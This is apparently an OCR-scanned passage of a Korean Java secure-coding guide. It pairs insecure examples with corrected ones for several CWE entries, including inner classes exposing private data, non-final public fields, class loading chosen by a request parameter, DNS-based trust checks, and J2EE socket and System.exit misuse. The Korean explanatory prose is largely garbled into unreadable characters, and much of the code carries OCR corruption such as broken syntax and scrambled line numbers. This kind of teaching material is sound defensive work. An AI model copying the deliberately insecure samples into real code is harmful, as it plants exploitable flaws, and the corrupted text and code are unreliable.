Selam Qs 2ol N Audl 2 A, of U A B 45k 4R -
ik,
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1:  public class OuterClass

2: |

3: // private member variables of OuterClass

4: private String memberOne;

5: private String memberTwo;

6: // constructor of OuterClass

7: public OuterClass(String varOne, String varTwo)

8: {

9: this.memberOne = varOne;

10: this.memberTwo = varTwo;

11: }

12: // InnerClass is a member inner class of OuterClass

13: private class InnerClass

14: {

15: private String innerMemberOne;

16: public InnerClass(String innerVarOne)

17: {

18: this.innerMemberOne = innerVarOne;

19: }

20: public String concat(String separator)

21: {

22: // InnerClass has access to private member variables of OuterClass

23: return OuterClass.this.memberTwo + separator + this.innerMemberOne;

24: }

25: }

26 }

Wi Fe o) ARGl FofsiA iR S zolA R Fe 20 private FEE T
34 RES s,

B JdAF Z=9] ¢ - JAVA
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1:  public class OuterClass

2. |

3: // private member variables of OuterClass

4: private String memberOne;

5: private static String memberTwo;

6: // constructor of OuterClass

7: public OuterClass(String varOne, String varTwo)
8: {

9: this.memberOne = varOne;

10: this.memberTwo = varTwo;

11: }

12: // InnerClass is a static inner class of OuterClass
Uasl



13: private static class InnerClass

14: {

15: private String innerMemberOne;

16: public InnerClass(String innerVarOne)

17: {

18: this.innerMemberOne = innerVarOne;

19: }

20: public String concat(String separator)

21: {

22: // InnerClass only has access to static member variables of OuterClass

23: return memberTwo + separator + this.innerMemberOne;

24: }

25: }

26: }

Wi Felat vlolEmmdAE w74 S HIAZ wHy] Bl Wi Fet
PRI e Sz NARE FRA A, o] R FUW=E T BRI /e F U
=1

2. |

3: // private member variables of BankAccount class

4: private String accountOwnerName;

5: private String accountOwnerSSN;

6: private int accountNumber;

7: private double balance;

8: // constructor for BankAccount class

9: public  BankAccount(String ~ accountOwnerName,  String  accountOwnerSSN,  int

accountNumber, double initialBalance, int initialRate)

10: {

11: this.accountOwnerName = accountOwnerName;

12: this.accountOwnerSSN = accountOwnerSSN;

13: this.accountNumber = accountNumber;

14: this.balance = initialBalance;

15: this.start(initialRate);

16: }

17: // start method will add interest to balance every 30 days

18: // creates timer object and interest adding action listener object

19: public void start(double rate)

20: {

21: ActionListener adder = new InterestAdder(rate);

22: Timer t = new Timer(1000 * 3600 * 24 * 30, adder);

23:

24: t.start();
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25: }
26: // InterestAdder is an inner class of BankAccount class
27: // that implements the ActionListener interface
28: private class InterestAdder implements ActionListener
29: {
30: private double rate;
31:
32: public InterestAdder(double aRate)
33: {
34: this.rate = aRate;
35: }
36:
37: public void actionPerformed(ActionEvent event)
38: {
39: // update interest
40: double interest = BankAccount.this.balance * rate / 100;
41: BankAccount.this.balance += interest;
42: }
43: }
44: }
Wi Zei o] ARGl FofsiA Wi Fe oA o F Ze 28] private BEE T
4 2=
B aHg 7=9 9 - JAVA
1:  public class BankAccount
2: |
3: // private member variables of BankAccount class
4: private String accountOwnerName;
5: private String accountOwnerSSN;
6: private int accountNumber;
7: private double balance;
8: // constructor for BankAccount class
9: public  BankAccount(String  accountOwnerName,  String  accountOwnerSSN,  int
accountNumber, double initialBalance, int initialRate)
10: {
11: this.accountOwnerName = accountOwnerName;
12: this.accountOwnerSSN = accountOwnerSSN;
13: this.accountNumber = accountNumber;
14: this.balance = initialBalance;
15: this.start(initialRate);
16: }
17: // start method will add interest to balance every 30 days
18: // creates timer object and interest adding action listener object
19: public void start(final double rate)

286 <« H6H
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20: {

21: // anonymous inner class that implements the ActionListener interface

22: ActionListener adder = new ActionListener()

23: {

24: public void actionPerformed(ActionEvent event)

25: {

26: // update interest

27: double interest = BankAccount.this.balance * rate / 100;

28: BankAccount.this.balance += interest;

20: } =
30: |5 N
31: Timer t = new Timer(1000 * 3600 * 24 * 30, adder); 0?-'-
32: t.start();

33: }

34: }

o Fx =
[1] CWE-492 Use of Inner Class Containing Sensitive Data,
http:/ /cwe.mitre.org/ data/definitions/492.html
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7. Final A73A Q= F8 F8 WS (Critical Public Variable Without
Final Modifier)

7k A9
public® 2 MAE # WFE final® AASHA] Fom, T v g ojRolA WA
= Qdrk dibo s AMA e FH ®AL 518" AEH ol 2T ALEEER Ejof St
U A3 2971
= H7AEY 2k HE public ¥ ®FE WEA final 2 3Tk
ot oA
price ZE=7} finalo] o}Y7] wiiol, 2FoA WA o] 71535k, getTotal()o] #hol W=
2

1:  public final class calc_price extends Applet

2: |

3: // price ET} finalo] ofy7] wfiZol|, &H-A prices THE F AT
4: public static float price = 500;

5:

6: public float getTotal(int count)

7: {

8: return price * count;

9: }

10: e

WMAEHA ¢t 5= public ¥ WSE final 7|9 =2 AAgo

Bl aAHF F=9] o - JAVA

1:  public final class calc_price extends Applet

2. |

3: // FREE <k He UEE final J|HER AT
4: public static final float price = 500;

5:

6: public float getTotal(int count)

7 {

8: return price * count; // price T4 =7}

9: }

10:  }
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PIE 2 =7} finalo] olur] wj&Fol| JFoA W7Ao] 73, caculateCircumference()
o] grol Mz 4 9tk

class Math

{
public float PIE = 3.141519;

{
return 2 * PIE * radius;

Sy

1
2
3
4
5: public float caculateCircumference(float radius)
6
7
8
9

——

WA QF H& public W1¥ WHSE final 7]9 =2 AAdth

B A3 Z=¢ o - JAVA
class Math

{
public static final float PIE = 3.141519;

Slolc BEElY

public float caculateCircumference(float radius)

{
return 2 * PIE * radius;

R S AR LI S S

% Fx £
[1] CWE-493 Critical Public Variable Without Final Modifier,
http:/ /cwe.mitre.org/data/definitions/493.html
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8. 538 ¥ 9 Al8(Use of Dynamic Class Loading)

THOR FHUAE RS O YLV fEEEY Thegel At sH o
=i

iy

[
it

2:  public void dynmclass()

3

4 // 95 Qo F3 Fgx 24

5: String classname = System.getProperty("customClassName");
6 try

7 {

8 Class clazz = Class.forName(classname);

9 System.out.println(clazz);

10: }

11: catch (ClassNotFoundException €) { }

HHEEol B3 2P AgeA Gth Aok s A 2Eo} bsd

A=

=
T

Zh

2:  public void dynmclass()

3|

4 /AR Y2 T YL 2EQ%A AEF Foh
5 TestClass tc = new TestClass();

6 System.out. println(tc);
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1:  public class DocService extends HttpServlet

2: |

3: private final String UPLOAD_DOCUMENT_COMMAND = "upload_document";

4: private final String DOCUMENT_NAME_PARAM = "document_name";

5: private final String CONVERTER_PARAM = "convert_operation";

6:

7: private Hashtable<String, String> converters;

8: -

9: public DocService() :

10: { 0?.'.

11: converters = new Hashtable<String, String>();

12: converters.put("DocToHtml", new DocToHtmlConverter());

13: converters.put("UTF16ToUTF8", new TextEncodingChanger());

14: =

15: } g

16: ku

17: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws on
ServletException, IOException —Z—

18: { I_n

19: String command = request.getParameter("command");

20:

21 /] =& AA el 23 A

22: if (command.equals(UPLOAD_DOCUMENT_COMMAND))

23: {

24: String documentName= request.getParameter(DOCUMENT_NAME_PARAM);

25: String converterParam= request.getParameter(CONVERTER_PARAM);

26:

27 // upload &t}

28: if(converterParam != null)

29: {

30: /] EA formato] htmlo] oFd A%, html2 WE-S 43

31:

32: try

33: {

34: Class converterClass= Class.forName(converterParam);

35: Converter converter= Converter)converterClass.newInstance();

36: String htmlContents= converter.convertToHtml(documentName);

37:

38: }

39:

40: }

41:

42: }

43:

14 7H
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44: }

45:

46: }

9 JEe Bol A b5 RE ZUAEE vE Aol AR Fu, HHs
a7 Yol Sole Aol AT Foj2s AT & A YTk

M 1A% I=9 4 - JAVA

1:  public class DocService extends HttpServlet

2: |

3 private final String UPLOAD_DOCUMENT_COMMAND = "upload_document";
4: private final String DOCUMENT_NAME_PARAM = "document_name";
5: private final String CONVERTER_PARAM = "convert_operation";
6:

7: private Hashtable<String, String> converters;

8:

9: public DocService()

10: {

11: converters = new Hashtable<String, String>();

12: converters.put("DocToHtml", new DocToHtmlConverter());

13: converters.put("UTF16ToUTFS", new TextEncodingChanger());

14:

15: }

16:

17: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

18: {

19: String command = request.getParameter("command");

20:

21: /] =€ WA e 24 A

22: if (command.equals(UPLOAD_DOCUMENT_COMMAND))

23: {

24: String documentName= request.getParameter(DOCUMENT_NAME_PARAM);
25: String converterParam= request.getParameter(CONVERTER _PARAM);

26:

27: // upload ¥ttt

28: if(converterParam != null)

29: {

30: // &A1 formato] htmlo] obd 73, html2 HI-S 53

31:

32: try

33: {

34: Converter converter = converters.get(converterParam)

35: String htmlContents = converter.convertToHtml(documentName);
36:

292 <« H6H
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37 }
38:

39: }

40:

41: }

42:

43: }

44:

45. '}

2 3 £
[1] CWE-545 Use of Dynamic Class Loading, http://cwe.mitre.org/data/definitions/545.html
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A7 API &&

API(Application Programming Interface)= *+FA A<t &ZZ I FAlo] AHEH
Aot wAAl 4 e qrefer, &8 ZEIY ANEA AL gy 9 8842 AT
olFol gt Ltk APT &8 3 F ko]l &zl APIS] AR T EEeA 9 FA R4
Ask gl mHebdel Azek fjdadlol 2 & Utk

1. DNS lookup®] &3 HPA7(Reliance on DNS Lookups in a

Security Decision )

7k A9
2447} DNS AEAE £ + Jons Suelge] oz RAAYEQE 2 A
54 5)2 314 tolok @tk wrer 224 DNS MM el AN FAA ofa) ed® 4%

olekd AHgASE 54 AWzie] YES D Ede] FANE FRAEE ¥ S5 Ytk ®
@ AT} B FY Zwlele] &8 Al Y A4 = ok

AE=AE AARRG 23y F4 A7 DNS

1:  public class checkDNS extends  HttpServlet

2. |

3: public void  doGet(HttpServletRequest req,  HittpServletResponse res) throws
ServletException, IOException

4 {

5: boolean trusted = false;

6: String ip = req.getRemoteAddr();

7:

8: /] T2EQ] IP F4AE dojth

9: InetAddress addr = InetAddress.getByName(ip);

10:

11: /] E2EQ PR} AHE AL (trustme.com)©] YXFH=A] AN

12: if (addr.getCanonicalHostName().endsWith("trustme.com"))

13: {

14: trusted = true;

15: }

16: if (trusted)
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17:
18:
19:
20:
21:
22:
23:
24:
25:

B 333 3=9 4 - JAVA

1:  public class checkDNS extends  HttpServlet

2: |

3: public  void  doGet(HttpServletRequest req,  HttpServletResponse res)  throws
ServletException,  IOException

4: {

5: String ip = req.getRemoteAddr();

6: if (ip == null || "".equals(ip))

7: return ;

8:

9: String trustedAddr = "127.0.0.1";

10:

11: if (ip.equals(trustedAddr))

12: {

13 e

14: }

15: else

16: {

17 e

18: }

19: }

20: '}

=0 de ASME AR Hle doltt o] dolMs Be F e ARIES °oF

2 523k, Bt BE AEs 558 AoE9 B ko

= Fate] Aok Wee A%k A% FAA7F DNS 7
& 2AR A58 5 Atk

gow me 4 9t A

g
e
N
»

sHAl =, Al

public class Service extends HttpServlet
{

private final String COMMAND_PARAM = "command";

H7H
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4:

5: // Command 3 9]

6: private final String SEND_CONTRACT = "send_contract";
7:

8: private final String TARGET_COMPANY = "target_company";
9:

10: private ArrayList<String> trustedSites;

11:

12: public Service()

13: {

14: trustedSites.add("www.trust.com");

15: trustedSites.add("www.faith.com");

16:

17: }

18:

19: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

20: {

21: String command = request.getParameter(COMMAND_PARAM);

22:

23: if (command.equals(SEND_CONTRACT))

24: {

25: String targetSite = request.getParameter(TARGET_COMPANY);

26: InetAddress addr = InetAddress.getByName(targetSite);

27:

28: if(trustedSites.contains(targetSite)

29: {

30: SendContract(addr.getHostAddress());

theel dAAE B = Qe AlES] olF thAl IPE SH3H4ch webi DNsE
zAeod =, AL FARIA HAEHA ke

B aHg 759 9 - JAVA

public class Service extends HttpServlet

1
2

3 private final String COMMAND_PARAM = "command";
4

5

// Command #& %2
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6 private final String SEND_CONTRACT = "send_contract";

7:

8: private final String TARGET_COMPANY = "target_company";
9:

10: private ArrayList<String> trustedSitelPs;

12: public Service()

13: {

14: trustedSiteIPs.add("232.234.89.52");
15: trustedSiteIPs.add("87.123.56.92");

Sy

19: protected void doPost(HttpServletRequest requestHttpServletResponse response) throws
ServletException, IOException

20: {

21: String command = request.getParameter(COMMAND_PARAM);

22:

23: if (command.equals(SEND_CONTRACT))

24: {

25: String targetSitelp = request.getParameter(TARGET_COMPANY);

26:

27: if(trustedSitel Ps.contains(targetSitelp))

28: {

29: SendContract(targetSitelp);

30: }

31:

32: }

33:

34: }

35:

36: |}

Slolc BEElY

o Fa &9
[1] CWE-247 Reliance on DNS Lookups in a Security Decision,
http:/ /cwe.mitre.org/data/definitions/247.html
[2] CWE-807 Reliance on Untrusted Inputs in a Security Decision,
http:/ /cwe.mitre.org/ data/ definitions /807 html
[3] 2011 SANS Top 25 - RANK 10 (CWE-807), http://cwe.mitre.org/top25/
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2. J2EE: A% <72 #T(J2EE Bad Practices: Direct Management of

Connections)

7k A9
J2EE Sl EeAcldo] Aeloldel s AZsHe A Ad welE ASSHA 23 A4 A
A5 A AHE FEE 5 7] Wl 2EE EEAA FAtD Yk

Y. A3 2371
m J2EE o ETAoldo] Aol ANA Algst= A4 el 7]5S ARt

. oA

%178 (connection)& 214 ¥ otd < H}

ol

1:  public class makeConnect extends javax.servlet.http.HttpServlet
2: |

3: private Connection conn;

4:

5: public void dbConnection(String url, String user, String pw)
6: {

7: try

8: {

9: // 2ee AESANA Aol g A2E 2 A=t
10: conn = DriverManager.getConnection(url, user, pw);
11: }

12: catch (SQLException e)

13: {

14: System.err.println("...");

15: }

16: finally

17: {

T

19: }

2 Be 7se ARgSke] Aol thk dAS dofok

&

o.

B aAHE Z=9 o - JAVA
public class makeConnect extends javax.servlet.http.HttpServlet
{

private static final String CONNECT_STRING =  "jdbc:ocl:orcl";

public void dbConnection() throws NamingException, SQLException
{

298 <« H7E APl 2&



7: Connection conn = null;

8: try

9: {

10: /] A7 eS ol oM Al it AL A=t

11: InitialContext ctx = new InitialContext();

12: DataSource datasource = (DataSource) ctx.look-

up(CONNECT_STRING);

13: conn = datasource.getConnection();

14: }

15: catch (SQLException e) =

16: { '\;

170 e (02l

18: }

19: finally

20: { >

21: if ( conn != null ) =1

22: conn.close(); ﬁ

23: } oo

24: } N
o
In

2t a1

[1] CWE-245 J2EE Bad Practices: Direct Management of Connections,
http:/ /cwe.mitre.org/data/definitions/245.html
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3. J2EE: ¥ F A7 AFS-(J2EE Bad Practices: Direct Use of Sockets)

7k A9
J2EE oAEeAoldo] ZeYUL WAS 52 A G, A4S A AgHE
B9 A mel, ol Ael, A4 wel 5 vhepe we Aol Wasith

. kA 297
n S A AFRSE Al ZE Y T4 AFstE HAE TES A8 ok 3t

o} oA
doGet WAE oA A7l (Socket) S 25 A3l $1E 3

1:  public class makeConnect extends javax.servlet.http.HttpServlet

2: |

3: private Socket socket;

4:

5: protected void doGet(HttpServletRequest request, HittpServletResponse response)
throws ServletException

6: {

7 try

8: {

9 // J2EE $-4Z286A Ze8Y9a it 535 thale] &7 Gocket) S U A
83kaL Atk

10: socket = new Socket("kisa.or.kr", 8080);

11: }

12: catch (UnknownHostException e)

13: {

14: System.err.println("UnknownHostException  occured");

15: }

16: catch (IOException e)

17: {

18: System.err.printIn("[OException  occured");

19: }

20: finally

21: {

22:

23: }

24: }

25}
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A9 el 715 AHgstel Aol tha AdL dofok wuk.

B aAF 7=9] 4 - JAVA

1:  public class makeConnect extends javax.servlethttp.HttpServlet
2: |
3: protected void doGet(HttpServletRequest request, HittpServletResponse response)
throws  ServletException
4 {
5 ObjectOutputStream oos = null;
6 ObjectinputStream ois = null; -
7: try :
8: { ox
9 // Ele] WASE Z/do] =W URL Connections ©]-83F4;, EJBE FallA S&3ich
10: URL url = new URL("http://127.0.0.1:8080/DataServlet");
11: URLConnection urlConn = url.openConnection();
12: urlConn.setDoOutput(true); =
13: 00s = new ObjectOutputStream(urlConn.getOutputStreamy()); g
14: oos.writeObject("data"); kU
15: ois = new ObjectInputStream(urlConn.getInputStream()); on
16: Object obj = ois.readObject(); ‘Z‘
17: } |_|'|
18: catch (ClassNotFoundException e)
19: {
20: System.err.printin("Class ~ Not Found");
21: }
22: catch (IOException e)
23: {
24: System.err.printin("URL ~ Connection Error occured");
25: }
26: finally
27: {
08 e
29: }
30: }
31: |}

28 Al s MEE socketS THE0] FEo|AEA HEHE HolHE w1
th o]} o] socketS A AW J2EEC] 9l gholE#ElEo] AlFdtE HelE
AgeA FahA Ak

o 32

public class Service extends HttpServlet

1
2|

3: private final String COMMAND_PARAM = "command";
4
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31:

// Command ## <]
private final String UPLOAD_DOCUMENT_COMMAND = "upload_document";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

{
String command = request.getParameter(COMMAND_PARAM);

if (command.equals(UPLOAD_DOCUMENT_COMMAND))
{

Thread uploadThread = new UploadDataReciever(fileName);
uploadThread.start();

class UploadDataReciever extends Thread
{

public void run()

{
listenSocket = new ServerSocket(UPLOAD_PORT);

while((inputLine = in.readLin()) != null)
{

28] oA 8k o] ServleteFileUpload$} 22 /4% gholBejg]E Abgafof rh

B aHE 7=9 o - JAVA

1:
2:
3:
4:
5:
6:
7:
8:

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

// Command ##H <]
private final String UPLOAD_DOCUMENT_COMMAND = "upload_document";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws

302 <« H7E APl 28




ServletException, IOException
9: {
10: String command = request.getParameter(COMMAND_PARAM);
11:
12: if (command.equals(UPLOAD_DOCUMENT_COMMAND))
13: {
14: // Create a new file upload handler
15: ServletFileUpload upload = new ServletFileUpload(factory);
16: // maximum file size to be uploaded.
17: upload setSizeMax( maxFileSize ); =
18: N
19: try 0z
20: {
21: // Parse the request to get file items.
22: List fileltems = upload.parseRequest(request); -
23: u
24: // Process the uploaded file items =2
25: Iterator i = fileltems.iterator(); (|)-JE_|
26: N
27 while ( i.hasNext () ) )
28: { In
29: Fileltem fi = (Fileltem)i.next();
30: if ( !fi.isFormField () )
31: {
32: // Get the uploaded file parameters
33: String fieldName = fi.getFieldName();
34: String fileName = fi.getName();
35: String contentType = fi.getContentType();
36: boolean isinMemory = fi.islnMemory();
37: long sizeInBytes = fi.getSize();
38: // Write the file
39: if( fileName.lastIndexOf("\\") >= 0 )
40: {
41: file = new File( filePath +
42: fileName.substring( fileName.lastindexOf("\\""))) ;
43: }
44: else
45: {
46: file = new File( filePath +
47: fileName.substring(fileName.lastIndexOf("\ \ ")+1)) ;
48: }
49: fi.write( file ) ;
50: }
51: }
52: }
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53: }
54: }
55 '}

g Fx 2d
[1] CWE-246 J2EE Bad Practices: Direct Use of Sockets,
http:/ /cwe.mitre.org/data/ definitions /246.html
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4. J2EE: System.exit() AH8-(J2EE Bad Practices - Use of System.exit())

7

J2EE $-8§X 21304 System.exit()2] AH§S ZEo|U7IA] FZAIZITh

o

. kA% 3719
= J2EE Z 204 Systemexits AM8-alA= <F Hoh

o} oA =
doPost() WAZ UYolA System.exit(l) S TE3IH ZHO|W7HA FRdTh [C)
0
1:  public class SystemStat extends HttpServlet
2. |
3: public void doPost(HttpServletRequest request, HttpServletResponse response) throws %
ServletException,  IOException =)
4 { kU
5 FileHandler handler = new  FileHandler("errors.log"); of
6: Logger logger =  Logger.getLogger('com.mycompany"); —Z—
7: logger.addHandler(handler); n
8 try
9: {
10: do_something(logger);
11: }
12: catch (IOException ase)
13: {
14: // J2EE ZZ1eA System.exit()S A&
15: System.exit(1);
16: }
17: }
18: private void do_something(Logger logger) throws IOException
19: {
20:
21: }
22: }

System.exit(l) S =3t %3 doPost WAEE F=HIITH

B AdAF Z=9] ¢ - JAVA
1:  public class SystemStat extends HttpServlet
2. |

@

public void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
4: {

FileHandler handler = new  FileHandler("errors.log");
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Logger logger =  Logger.getLogger("'com.mycompany");

logger.addHandler(handler);

try

{
do_something(logger);

}

catch (IOException ase)

{
logger.info("Caught: " + ase.toString());
// System.exit(1)®] A-8-S& FIch
// System.exit(1);

private void do_something(Logger logger) throws IOException
{

System.exit) S EE3A HW, @A 240 0@ A/ TR

o] AlAlYAE hitp requestE A E|SFHAL HF Nk AREES HARSFI Utk fi4EE
AFE ZrolAl =H HEE Systemeexit)e SE3te] TR IS FEITE ole} o]

o] ohe}, Aulx

AA7F FREE AAE TP

1:
2:
3:
4:
5:

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

String command = request.getParameter(COMMAND_PARAM);

SecurityChecker.checkSecurity(data);

}
class SecurityChecker

{
public static void checkSecurity(Data data)

{

if(FindViolation(data) == false)
{

System.exit(1);
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21: }
22:

23: }

24: }

o] dAldAE dA 8- tid AT returns AHSE TEEES s|of gtk
Exit) 2= 9] Alo] tiste] AHElste WAl BE CGlI ZEIANA wol ARE-gh
el CGI TIPS Fxste] B8 Z239YE & 9= Systemeexit()o] T&

94 @S Fols)of @,

oft

=
B A% =9 o - JAVA '\;
1:  public class Service extends HttpServlet 0=
2: |
3: private final String COMMAND_PARAM = "command";
4: -
5: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ﬂ
ServletException, IOException —cﬁ
oA gﬂ
7: String command = request.getParameter(COMMAND_PARAM); N
8: §
9: if(SecurityChecker.checkSecurity(data) == false) n
10: {
11: return;
12: }
13:
14: }
15:
16: '}
17
18:  class SecurityChecker
19: {
20: public static void checkSecurity(Data data)
21: {
22:
23: if(FindViolation(data) == false)
24: {
25: return false;
26: }
27:
28: return true;
29: }
30: }

2 Fa 23
[1] CWE-382 J2EE Bad Practices: Use of System.exit(),
http:/ /cwe.mitre.org/data/definitions/382.html
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5. '(Null) v}/l S v ZHAKMissing Check for Null Parameter)

7
Java 3ol W= Object.equals(), Comparable.compareTo() ¥ Comparator.compare()
o] 7@ wiNHSTE Null &1 73 ARHE e wesiof gk o] &g wex] o

o714 £9 Fol WA & k.

L bAF A7)
= Object.equals(), Comparable.compareTo()# Comparator.compare() 7@ A= WNHTS
Null 3 Blalsfof gt

o AA
7] H7F Null A AR skt

1:  public class checkNULL implements java.util. Comparator
2

3 public int compare(Object 01, Object 02)

4 {

5: // o1, 029 W% d A3 FF7F gl
6 int i1 = ol.hashCode();

7 int i2 = 02.hashCode();

8 int ret;

9 if (1>i2) { ret=1 }

10: else if (il ==i2) { ret =0; }

11: else { ret=-1; }

12: return ret;

13: }

14 e

15: }

j 7] W Null Q1A WA HARg

B dAF 729 o - JAVA
public class checkNULL implements java.util. Comparator

{
public int compare(Object o1, Object 02)

{

int ret;

// Bla=l= AA g null AFE A4S ok
if (o1 != null && 02 != null)

{

R N B AR L R R e

int i1 = ol.hashCode();
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10: int i2 = o02.hashCode();

11: if (1>i2){ ret=1 }
12: else if (i1 ==i2) { ret=0; }
13: else { ret=-1 }

14: }

15: else

16: ret = -1;

17: return ret;

18: }

19: e

20}

o] dAlE R 4wk Userlnfoo] 7S AF3ta Arh

1:  public class Userlnfo

2. |

3: private String userld;

4: private String password;

5: private String name;

6:

7: public boolean equals(Object arg0)

8: {

9: UserInfo operand = (UserInfo)arg0;

10:

11: if(this.userld.equals(operand.userld) == false) return false;
12: if(this. password.equals(operand.password) == false) return false;
13: return this.name.equals(operand.name);

14: }

15:

16: }

Y2 argument®] Nullgh oJF-5 WA A=3 F A&

B AT F=9] 4 - JAVA

public class UserInfo
{

private String userld;

private String password;

public boolean equals(Object argument)
{

1
2
3
4
5: private String name;
6
7
8
9

if(argument == null) return false;
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10:

11: UserInfo operand = (UserInfo)argument;

12:

13: if(this.userld.equals(operand.userld) == false) return false;
14: if(this. password.equals(operand.password) == false) return false;
15: return this.name.equals(operand.name);

16: }

17: 1}

% F3 £
[1] CWE-398 Indicator of Poor Code Quality, http://cwe.mitre.org/data/definitions/398.html

310 <« H7HE APl 28



6. EJB: 27 AFS(EJB Bad Practices: Use of Sockets)

7} Z=
Enterprise JavaBeans(E]B) T4l beanW]F-ollA AW A7 (ServerSocket) S 2% A&
ste] FeloldlEe] Mul2E AT AL FAs Yok BB AHlY e beand &
T BB SeolAdE tisiA VIEX T AW FEE AHIAE AFSEE AAE e
bean WAl THA| ServerSockets A & A5 F2AJ E5& oY F 7] wWEol

.

. A% 23719
= BB T2addA An 278 e Pen,

Sl

= B
EJB T2 A AAL ARSI TH

public void ejb_sock() throws IOException
{

I |
Slolc BEElY

ServerSocket s = new ServerSocket(1122);

Socket clientSocket = serverSocket.accept();

® N T ke

EJB ZEIRoA M 2e F4 Agste] AHgshA] =T

B AT I=9] ¢ - JAVA

1T e
2: public void ejb_sock() throws IOException

3: {

4: // EJBZIREoll Al server socket AM-8-& gt}
5: // ServerSocket s = new ServerSocket(1122);
9: // Socket clientSocket = serverSocket.accept();
10 e

6: }

go e

ool dAlE ARE socket THEO ZTO|AEGN AEHE dolHE BT
o9} ol socket& A% Mg J2EES] 49l elolneielse] AFsE Bk o 7]
2 AZWA 2o Aok

0
of &
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1:
2:
3:
4:
5:
6:
7:
8:
9:

10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:

@Stateless

public class Service

{

@PersistenceContext
private EntityManager entityManager;

public void uploadFile(String fileName)
{

Thread uploadThread = new UploadDataReciever(fileName);

uploadThread.start();

class UploadDataReciever extends Thread

{

}

public void run()

{

listenSocket = new ServerSocket(UPLOAD_PORT);

while((inputLine = in.readLin()) != null)

{

oh9] oJAl9] ServleteFileUpload$} 22

B AT I=9] ¢ - JAVA

49 eelnelel s Agalof k.

1:
2:
3:
4:
5:
6:
7:
8:
9:

10:

@Stateless

public class Service

{

@PersistenceContext
private EntityManager entityManager;

public void uploadFile(String fileName)
{
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11: // Create a new file upload handler

12: ServletFileUpload upload = new ServletFileUpload(factory);

13: // maximum file size to be uploaded.

14: upload.setSizeMax( maxFileSize );

15:

16: try

17: {

18: // Parse the request to get file items.

19: List fileltems = upload.parseRequest(request);

20: =
21: // Process the uploaded file items no
22: Iterator i = fileltems.iterator(); 0?.'.
23:

24: while ( ihasNext () )

25: { -
26: Fileltem fi = (Fileltem)i.next(); Hu
27: if ( !fi.isFormField () ) =2
28: { (!)'JE_I
29: // Get the uploaded file parameters N
30: String fieldName = fi.getFieldName(); =)
31: String fileName = fi.getName(); In
32: String contentType = fi.getContentType();

33: boolean isinMemory = fi.islnMemory();

34: long sizelnBytes = fi.getSize();

35: // Write the file

36: if( fileName.lastIndexOf("\\") >= 0 )

37 {

38: file = new File( filePath +

39: fileName.substring( fileName.lastindexOf("\\""))) ;

40: }

41: else

42: {

43: file = new File( filePath +

44: fileName.substring(fileName.lastIndexOf("\ \ ")+1)) ;

45: }

46: fi.write( file ) ;

47: }

48: }

49: }

50: }

51: }

E |
[1] CWE-577 E]JB Bad Practices: Use of Sockets,
http:/ /cwe.mitre.org/data/ definitions/577.html
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7. equals()2} hashCode() 345t 2 2](Object Model Violation: Just one of
equals() and hashCode() Defined)

7k A9
Java EFo] MEH, Javad] 22 AA e 2 AIZEE 7HAoF @k & "aequals(b)
== true"¢|H "ahashCode() == b.hashCode()' ©]ojoF st} weha g S oA
equals()2 hashCode()= & o T@sIAY & o 7@SHA gotof ok

. AR 2971
n g Fe2 Ul equals()E %3 hashCode() = A28l oF 3t3L hashCode()E A2l 3tH
equals() = Aelsfof gt

o oA
equals()®} hashCode() & shuiit ofstith

1:  public class checkEquals

2

30 e

4 // equals()?F &

5: public boolean equals(Object obj)
6 {

7 boolean ret;

8 if (obj != null)

9 {

10: int il = this.hashCode();
11: int i2 = obj.hashCode();
12: if (i1 ==12) { ret = true; |}
13: else { ret = false; }
14: }

15: else

16: {

17: ret = false;

18: }

19: return ret;

20: }

o e

22: |}
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equals()¢} hashCode() =F A <2Jdlof gt

B A% 3=9 ¢ - JAVA

1:  public class checkEquals

2|

30 e

4 // Aol AA|e} vladh= equals() T
5: public boolean equals(Object obj)
6 {

7 boolean ret;

8 if (obj != null)

9: {

10: int i1 = this.hashCode();

11: int i2 = obj.hashCode();

12: if (i1 ==12) { ret = true, }
13: else { ret = false; }

14: }

15: else

16: {

17: ret = false;

18: }

19: return ret;

20: }

21:  // hashCode() &

22: public int hashCode()

23: {

24: return new HashCodeBuilder(17, 37).toHashCode();
25: }

o6 e

27}

equals()¢} hashCode() 5 stutit A ost3ith

1:  public class Userlnfo

2

3 private String userld;

4 private String password;

5: private String name;

6

7 public boolean equals(Object arg0)

8 {

9 if(argd == null) return false;
10:

11: UserInfo operand = (UserInfo)arg0;
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12:

13: if(this.userld.equals(operand.userld) == false) return false;
14: if (this.password.equals(operand.password) == false) return false;
15: return this.name.equals(operand.name);

16: }

17: }

equals()¢} hashCode() =5 7 2]3gich

B A3 m=9 o - JAVA

1:  public class Userlnfo

2

3 private String userld;

4 private String password;

5: private String name;

6

7 public boolean equals(Object arg0)

8 {

9: if(arg0 == null) return false;

10:

11: UserInfo operand = (UserInfo)arg0;

12:

13: if(this.userld.equals(operand.userld) == false) return false;

14: if (this.password.equals(operand.password) == false) return false;

15: return this.name.equals(operand.name);

16: }

17: public int hashCode()

18: {

19: return HashCodeMaker.makeFromHashCode(userld + ", + password + "" +
name);

20: }

21: |}

2 F1 &3
[1] CWE-581 Object Model Violation: Just One of Equals and Hashcode Defined,
http:/ /cwe.mitre.org/data/definitions/581.html
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A3 &Ry 92 FaEd
A1 8ol

= 53 SQL(Dynamic SQL)
zrafe] e wet SQLEC] e A9, ZEIe] AYPA AA Fojo] vhEo|AA
DBoll 843}= SQLS &3t}

= 5] (Mutual Exclusion)
A ZEIHPYANA Ff B7HT ALY FA AHEE FH] el AgHE Fadse
A7 (critical section) 0.2 E¥]l= IZ= FYol o FHHTH

n AXEo] JfEHL

SW 7N oA izt A=, =83 &F S22 Qs swoll iAld Bk efde HAas)
st §H, a7 T B el e e A7 SWE Adetr] 91§ Y A S o]
gt} B2 ojuo A SW RS SW Al 7] (SDLC SW Development Lifecycle)®] 7+
AR 8FHE BlEEe B FetH, F& rE= SW MEAAHNA LAXxFES
